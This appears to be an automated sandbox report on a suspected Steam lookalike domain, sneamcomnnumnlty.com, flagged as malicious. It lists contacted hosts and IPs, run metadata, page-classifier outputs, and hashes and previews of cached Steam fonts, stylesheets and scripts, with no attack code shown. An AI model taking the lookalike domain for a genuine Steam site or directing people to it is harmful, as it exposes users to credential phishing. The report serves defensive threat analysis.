https://help.steampowered.com/ru/wizard/HelpWithSteamHardware	chromecache_367.2.dr	false		unknown
https://help.steampowered.com/public/images//icon_writedown.png	chromecache_328.2.dr	false		unknown
https://store.steampowered.com/account/cookiepreferences/	chromecache_428.2.dr, chromecache_395.2.dr	false		unknown
https://help.steampowered.com/en/	chromecache_367.2.dr, chromecache_410.2.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/ru/wizard/AjaxRefundRequestForm	chromecache_216.2.dr, chromecache_453.2.dr	false		unknown
http://api.jqueryui.com/drop-effect/	chromecache_440.2.dr, chromecache_256.2.dr	false		unknown
https://help.steampowered.com/bg/	chromecache_367.2.dr	false		unknown
https://store.steampowered.com/?snr=1_60_4__global-header	chromecache_223.2.dr	false		unknown
https://cloud.google.com/contact	chromecache_264.2.dr, chromecache_422.2.dr, chromecache_235.2.dr	false	URL Reputation: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_3-4.png	chromecache_295.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithAccount	chromecache_367.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/libraries~b28b7af69.js?v=T	chromecache_223.2.dr, chromecache_410.2.dr	false		unknown
https://help.steampowered.com/public/shared/images/buttons/icon_double_arrows.png	chromecache_268.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=	chromecache_464.2.dr	false		unknown
http://www.steampowered.com/steamworks/	chromecache_223.2.dr, chromecache_410.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_geo_7-8.png?v=2	chromecache_295.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_waterelement.png	chromecache_295.2.dr	false		unknown
http://bugs.jquery.com/ticket/8235	chromecache_440.2.dr, chromecache_256.2.dr	false		unknown
https://help.steampowered.com/hu/	chromecache_367.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangePassword/	chromecache_216.2.dr, chromecache_453.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxSubmitRefundRequest/	chromecache_216.2.dr, chromecache_453.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/manifest.js?v=3EOUTYYpLHaM	chromecache_223.2.dr, chromecache_410.2.dr	false		unknown
https://steamcommunity.com/workshop/	chromecache_223.2.dr, chromecache_367.2.dr, chromecache_410.2.dr	false		unknown
https://store.steampowered.com/steam_refunds/?snr=1_44_44_	chromecache_223.2.dr, chromecache_410.2.dr	false		unknown
https://store.steampowered.com/search/smallcapscroll	chromecache_200.2.dr, chromecache_201.2.dr, chromecache_226.2.dr, chromecache_312.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithLimitedAccount	chromecache_332.2.dr, chromecache_472.2.dr	false		unknown
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	chromecache_264.2.dr, chromecache_422.2.dr, chromecache_235.2.dr	false	URL Reputation: safe	unknown
https://cdn.akamai.steamstatic.com/apps/steam-chat/steam-chat-app-1.0.8.apk	chromecache_410.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_crystals.png	chromecache_295.2.dr	false		unknown
https://help.steampowered.com/public/images/login_highlight.png	chromecache_328.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithUnknownCharges	chromecache_367.2.dr	false		unknown
https://help.steampowered.com/el/	chromecache_367.2.dr	false		unknown
https://store.steampowered.com/search/results/	chromecache_270.2.dr, chromecache_385.2.dr, chromecache_332.2.dr, chromecache_344.2.dr, chromecache_472.2.dr	false		unknown
https://help.steampowered.com/it/	chromecache_367.2.dr	false		unknown
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_264.2.dr, chromecache_422.2.dr, chromecache_235.2.dr	false	URL Reputation: safe	unknown
https://partner.steamgames.com/steamdirect	chromecache_223.2.dr, chromecache_367.2.dr, chromecache_410.2.dr	false		unknown
https://help.steampowered.com/uk/	chromecache_367.2.dr	false		unknown
https://steamcommunity.com	chromecache_270.2.dr, chromecache_385.2.dr, chromecache_332.2.dr, chromecache_344.2.dr, chromecache_472.2.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
2.16.164.107	community.akamai.steamstatic.com	European Union	20940	AKAMAI-ASN1EU	false
2.19.126.227	store.akamai.steamstatic.com	European Union	16625	AKAMAI-ASUS	false
2.19.126.89	unknown	European Union	16625	AKAMAI-ASUS	false
172.64.145.151	community.cloudflare.steamstatic.com	United States	13335	CLOUDFLARENETUS	false
2.19.126.73	cdn.akamai.steamstatic.com	European Union	16625	AKAMAI-ASUS	false
92.122.104.90	api.steampowered.com	European Union	16625	AKAMAI-ASUS	false
23.197.127.21	help.steampowered.com	United States	20940	AKAMAI-ASN1EU	false
172.67.184.158	fonts.cdnfonts.com	United States	13335	CLOUDFLARENETUS	false
104.21.91.169	sneamcomnnumnlty.com	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.228	unknown	United States	15169	GOOGLEUS	false
23.33.44.241	unknown	United States	20940	AKAMAI-ASN1EU	false
2.16.164.115	unknown	European Union	20940	AKAMAI-ASN1EU	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
142.250.185.132	unknown	United States	15169	GOOGLEUS	false
2.16.164.131	unknown	European Union	20940	AKAMAI-ASN1EU	false
2.19.126.97	unknown	European Union	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.67.175.206	unknown	United States	13335	CLOUDFLARENETUS	false
2.16.168.6	unknown	European Union	20940	AKAMAI-ASN1EU	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
88.221.169.65	store.steampowered.com	European Union	16625	AKAMAI-ASUS	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1526609
Start date and time:	2024-10-06 13:19:49 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://sneamcomnnumnlty.com/fact/actual/get
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@25/459@78/27
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://store.steampowered.com/mobile Browse: https://help.steampowered.com/ru/

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 142.250.185.142, 74.125.133.84, 34.104.35.123, 172.217.16.202, 142.250.186.138, 142.250.185.170, 216.58.206.42, 142.250.185.74, 172.217.18.10, 216.58.206.74, 142.250.185.138, 172.217.18.106, 142.250.186.42, 172.217.16.138, 142.250.186.106, 142.250.185.106, 142.250.186.74, 142.250.186.170, 142.250.74.202, 142.250.186.67, 20.109.210.53, 93.184.221.240, 142.250.185.163, 20.3.187.198, 52.165.164.15, 104.18.187.31, 104.18.186.31, 142.250.184.202, 142.250.181.234, 142.250.184.234, 142.250.185.234, 142.250.185.202, 142.250.185.195
Excluded domains from analysis (whitelisted): cdn.jsdelivr.net.cdn.cloudflare.net, azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, clientservices.googleapis.com, time.windows.com, wu.azureedge.net, clients2.google.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Source	URL
Screenshot	https://store.steampowered.com/login/?14__global-header

LLM Input / Output

Input	Output
URL: https://sneamcomnnumnlty.com/fact/actual/get Model: jbxai	{ "brand":["unknown"], "contains_trigger_text":false, "prominent_button_name":"unknown", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://sneamcomnnumnlty.com/fact/actual/get Model: jbxai	{ "brand":["unknown"], "contains_trigger_text":false, "prominent_button_name":"unknown", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://store.steampowered.com/mobile Model: jbxai	{ "brand":["unknown"], "contains_trigger_text":false, "prominent_button_name":"unknown", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://store.steampowered.com/mobile Model: jbxai	{ "brand":["unknown"], "contains_trigger_text":false, "prominent_button_name":"unknown", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://help.steampowered.com/ru/ Model: jbxai	{ "brand":["unknown"], "contains_trigger_text":false, "prominent_button_name":"unknown", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansBold4.015;Plau;MotivaSan
Category:	downloaded
Size (bytes):	123884
Entropy (8bit):	6.07029634687136
Encrypted:	false
SSDEEP:	1536:M+s43BGZsrolB21EJ4q+GIbdSW7VvCtQXjPM3mz1yxvjWRVIoFMe1V13836GKCnY:T1GZXlB2SUbxVv/zM3mZyxLUZGrSDfj9
MD5:	6168553BEF8C73BA623D6FE16B25E3E9
SHA1:	4A31273B6F37F1F39B855EDD0B764EC1B7B051E0
SHA-256:	D5692B785E18340807D75F1A969595BC8B1C408FB6FD63947775705E6D6BAA66
SHA-512:	0246CEE85A88068CA348694D38E63D46C753B03AFADF8BE76ECA18D21E3DE77B495215ED2384D62658A391104F9E00DF8605EDB77339366DF332C75691928EFB
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Bold.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOSD.`>...l..u.GSUB.d....wT....OS/2vb.........`cmap.d.....X....cvt Hg.....,....fpgm.6!.........gasp.......$....glyf..........Xhead...a...@...6hhea.......x...$hmtx.NL.........loca{.:.........maxp.......,... name.s.U...L...Kpost............prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	11395
Entropy (8bit):	5.263154477395774
Encrypted:	false
SSDEEP:	192:Zh6vqbjETmhTKN8xveEK6lIgpROZ793t37NAmr3LETECO+2Mlx1DWX73Mf+uEm4m:Zhcf33TCO+2gByhC
MD5:	C16C39B56D72EE779A4C29FB1BB60DD3
SHA1:	F0A8114D6E311F91357B3A9041DBCD96857B90EC
SHA-256:	5CD83EEE34169798040BBF6221263F6C5A5CBE5801C285813566EC1153DFCE09
SHA-512:	BB79CF68FA15EA0D4C883C4069AC22E121503F8031F8D17B9E6480D4CE8C701B81835789FA2E2D65841D2124EA88CD35CA982748B79FBB76C28C5A32BA21F8ED
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/browse.css?v=wWw5tW1y7nea&l=english
Preview:	/* CSS Document /.....browse_header .page_title .blockbg {...background-color: #ff9900;...color: #000000;..}.....browse_floating_link {...float: right;...width: 288px;..}.....browse_links a {...color: #b0aeac;..}.....browse_links a.linkbar .rightblock {...color: #626366;..}.....tabbar {...white-space: nowrap;...margin-bottom: 10px;...overflow-x: auto;...overflow-y: hidden;..}..../ the preferred way is to wrap tabbar in tabbar_ctn, which helps handle horizontal scrolling on mobile */...tabbar_ctn {...margin-bottom: 10px;..}...tabbar_ctn .tabbar {...margin-bottom: 0;..}.....tabarea_filler {.. height: 40px;..}...tabarea .tab {.. display: inline-block;.. margin-right: 0px;.. border-top-left-radius: 3px;.. border-top-right-radius: 3px;.. margin-top: 3px;.. padding: 1px;..}...tabarea .tab .tab_browse_option_label,...tabarea .tab .tab_content {.. background: rgba( 0, 0, 0, 0.2 );.. border-top-left-radius: 3px;.. border-top-right-radius: 3px;.. font-size: 13p

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS
Category:	downloaded
Size (bytes):	124048
Entropy (8bit):	6.074024700633004
Encrypted:	false
SSDEEP:	1536:v4Kkq/szjKJRIDCnR96guXgECINo28BZZDhpkemOXaxq4jKea8GyFLaE0Af0ffL9:vf/fxn7ElXxE0wS0fj9
MD5:	2D64CAA5ECBF5E42CBB766CA4D85E90E
SHA1:	147420ABCEB4A7FD7E486DDDCFE68CDA7EBB3A18
SHA-256:	045B433F94502CFA873A39E72D616C73EC1B4C567B7EE0F847F442651683791F
SHA-512:	C96556EC57DAC504919E806C7DF536C4F86892B8525739289B2F2DBBF475DE883A4824069DBDD4BB1770DD484F321563A00892E6C79D48818A4B95406BF1AF96
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Preview:	........... DSIG...........GDEF...4...,...@GPOS......l..u.GSUB.d....w.....OS/2u..........`cmap.d..........cvt G..t........fpgm.6!........gasp............glyf5.}2........head...W.......6hhea...v.......$hmtx._X.........loca.:yV........maxp.......l... names...........post.......<....prep..........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1667), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	19085
Entropy (8bit):	5.511337994885759
Encrypted:	false
SSDEEP:	384:fwtVMAjYb2JalUNlpczHK7eiHiEiN/mDP+pPIOw6GNNZhweP8/F:fmS6FJJNzczHK7bHix/mP+pPIOwlNzi
MD5:	7B19B559E1A22C6AB5E63A9BA871BE63
SHA1:	184C8349D74907506D852F7A3FFA3A7569900083
SHA-256:	FD894C40DB8B0C645E332557AC9CA8C604062389A8A3E2F4246A028A28561960
SHA-512:	ED94CFEE7B853A45ABF67FC4FA8BD8DA518E2D5437C7B595E2397A5C6C3938D9FF635DB7CA71B6326FAA08F6EFD82B657CB48904ABBB4E9FF6817DABEF38943D
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1
Preview:	...responsive_page_frame {...position: relative;..}....body.movescrolltocontent .responsive_page_frame {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;...overflow: auto;..}....body.overflow_hidden,..body.overflow_hidden .responsive_page_frame {...overflow: hidden;...position: relative;..}....html.responsive {...height: 100%;..}....html.responsive body {...min-height: 100%;...height: auto;...position: relative;..}....html.responsive body.movescrolltocontent {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;..}.....responsive_page_content {..}.....partner_events .responsive_page_content {.. height: 100vh;..}.....responsive_page_menu_ctn {...display: none;...position: fixed;...top: 0;...bottom: 0;...overflow: hidden;.....background: black;.....z-index: 30;...width: 280px;..}.....responsive_page_frame:not(.in_menu_drag) .responsive_page_menu_ctn {...transition: left 0.5s, right 0.5s;..}.....responsive_page_menu_ctn.mainmenu {...left: -280px;..}.....resp

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva
Category:	downloaded
Size (bytes):	122684
Entropy (8bit):	6.0666961682037535
Encrypted:	false
SSDEEP:	3072:lpsQ7l3T64Z1lKcDqttEPBWVNwZ+e222pKKSxfj9:Yg3T64Z19DqtkWbu/222kZfh
MD5:	57613E143FF3DAE10F282E84A066DE28
SHA1:	88756CC8C6DB645B5F20AA17B14FEEFB4411C25F
SHA-256:	19B8DB163BCC51732457EFA40911B4A422F297FF3CD566467D87EAB93CEF0C14
SHA-512:	94F045E71B9276944609CA69FC4B8704E4447F9B0FC2B80789CC012235895C50EF9ECB781A3ED901A0C989BED26CAA37D4D4A9BAFFCCE2CB19606DBB16A17176
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Preview:	........... DSIG.......4....GDEF...4...,...@GPOS:>}....l..uzGSUB.d....v.....OS/2u6.........`cmap.d..........cvt F......\|....fpgm.6!....D....gasp.......t....glyf._m....\|....head...H...l...6hhea...G.......$hmtx..l.........locaCH..........maxp.......X... name..l...x...opost............prep.......\...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1430
Entropy (8bit):	6.915444207165524
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVag7yJ3VR7GmXF54+mC8yq8/23CMwMIE+b8Dllc:HZNn2lpWJ3nnwDNmlPbUI
MD5:	AFC159FE5F0F26FA7282505DA9887CC3
SHA1:	C1CD55380C2AF435876989F94E8B0715042C2ADE
SHA-256:	4BE942A34871DD6F8F14B43D27C31B049BE7F6544C05685D4F35ABDD329DE176
SHA-512:	8F7DCB7E99CEED8F86575A05FF7D329EE2FC67CD18C6D53B2833A6AA1EEDE2586D57688F27901D941D2B6351412957468CCE5CA69101D86911390BF04FD82763
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:6E745BD792D411EE8F80E4F5B5148EC9" xmpMM:DocumentID="xmp.did:6E745BD892D411EE8F80E4F5B5148EC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6E745BD592D411EE8F80E4F5B5148EC9" stRef:documentID="xmp.did:6E745BD692D411EE8F80E4F5B5148EC9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{KL.....IDATx.b..U.d``.......@...4.....0.4.9...[`...e.5U...6V..G..d.....I2.].......?y.............^./....&.....

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41284, version 0.0
Category:	downloaded
Size (bytes):	41284
Entropy (8bit):	7.98997053635663
Encrypted:	false
SSDEEP:	768:6bvd2M/P1Exmz4SXIT1d0QDS/LH400ZT9O1HCL8TXAo3+woBHIL:6bvXSw4wIF+/F0ZT9OI2X9oBoL
MD5:	6A3575348AFB953ADDEA554183438636
SHA1:	BB136D68B07E69AB4272D098F522E2C740B668A7
SHA-256:	DEE2F7D9132CBDF82AC50B78835902A6000D29876F467F43BC0A8DF21BFD9DBD
SHA-512:	4401B4814CF15B10E832E64FFF3431A36BCC5A244B1F723556E6CDC5BFBD93BEB5B40365B2EE26BBA1930DC4E4751282F16B483A653C3B5A6C35C98748DA3670
Malicious:	false
Reputation:	low
URL:	https://fonts.cdnfonts.com/s/61286/MotivaSansMedium.woff.woff
Preview:	wOFF.......D......_.........................FFTM...(........m.._GDEF...@.../...6...3GPOS...$......(.S.GSUB...p.........n."OS/2.......P...`i(."cmap...d........\|[t.gasp...8............glyf......nx...0.Q.:head...X...1...6....hhea....... ...$....hmtx.......E....)H..loca...t...$...$'~a:maxp....... ... ....name..~..........&..post......./.... +..x.c`d`..."...m.2p3.`......`.....Y.X..\..&.(.dU.....x.c`d``.........~,.@...................................@......x.c`fe.............................. .;...A......9.N0.`....0.$....H)0...Xf.1x.....I...{;...$..m.k.m.m.m...>=.7..s.\|.].]..n...@Z.RR.Vy.Cz.....l..O.OP...J.A..z}..K.:...K1ze.....-H.P.[ R.@....=..b,...-Eh%...l=.[.(.9Xi..T}...F.....t.."..H.C..G^E.^.X.....w.8.o.\|2c\..M.a.)..W......!H.l..@..:Q.C..2.F..p..p...w=R.T...tc...U..H...dy.Z.C.v.l....Fl.8.O....0....<...m.R...r...1Z...es..........Lz...;\...y..,.w(../..C..3...I.\w.SPs.........S.P.1.4...u.mr.\|."q.&.....k....k.q.....A..o0..i..........#....{..G~.rc7.0.

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	dropped
Size (bytes):	85574
Entropy (8bit):	5.292296378905876
Encrypted:	false
SSDEEP:	1536:qOpYuxcehc6Ac/ErbZz5T/q77xkLuEW6J/ItrMKBPQDsPsdCkCatn0noz4:3Yjge4ImVz
MD5:	F74CD0AE23533449CC8AF7F8F151A9BC
SHA1:	C48A1D9F24875C273B77618EF941BCC7C3E0188E
SHA-256:	911383C10ABC27CACB7BADC757EA3366CCE08643AA808B6281A7312FDAB63F59
SHA-512:	747DA2DF9F7FD391953BDDC96868BD2BF6E0042F602A15A661C72DD6345745B07A11DB2B56B769D4D4449F568A44920D066BD99D6ECA07C4E40DFC4CBB1B5EE4
Malicious:	false
Reputation:	low
Preview:	..function GotFlashPopup()..{...var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');...win.focus();..}....//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, del

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	downloaded
Size (bytes):	89087
Entropy (8bit):	5.292489473516622
Encrypted:	false
SSDEEP:	1536:dpYuxcehc6Ac/Erc3h5N/a8axkNM2EVshJQIxrMKvPQfsPsdCkCatn0noz4:bYjg9MDsooz1
MD5:	9198B9AE5423B2B0A5B443CF8931263E
SHA1:	5DD6C35CBDE91945E2F730D80FE76FD029860C6E
SHA-256:	19C095CC08CAC827AF261E43869A55140EFF99917321489BCCF1A1C9E44BFA06
SHA-512:	85831025A485C982A42A222015FBEB7C912516D50208027D8C3B784C609E1206EAD068285D09CD32FDAAE760DC0D6E124AA80E496B197133A4F803B0AE357353
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/main.js?v=kZi5rlQjsrCl&l=english
Preview:	..//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, delta );....TabUpdateCounts( tab, delta, max );...}....}....function TabCompletionClosure( tab, delta, max )..{...var tab_closure = tab;...var delta_closure = delta;...var max_closu

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (630)
Category:	dropped
Size (bytes):	10737
Entropy (8bit):	5.327237293204141
Encrypted:	false
SSDEEP:	96:DIxuZlZJFupWXpi0pGZBnXQd2q7s0ZiZmdUYe3egbwZqw8+mwoChzSBmqZTZ+Z33:kEXdMAFJdUTTE77tYHD4egFj2MFpKHc
MD5:	D86DCDBFED4C273C4742744941259902
SHA1:	98089A33D0CF2FA4B3E1BA9B7EEB9B8BA0AC82A7
SHA-256:	4B4969FA4EF3594324DA2C6D78CE8766FBBC2FD121FFF395AEDF997DB0A99A06
SHA-512:	F10E98F579D36CE13E24DBE3050C09D87F12F94578B80EA1891CA485DB48C83619D93A6B74D99639468A746CCE872AF8742CA4DBCECE7A36CFBF097B96B7EAAD
Malicious:	false
Reputation:	low
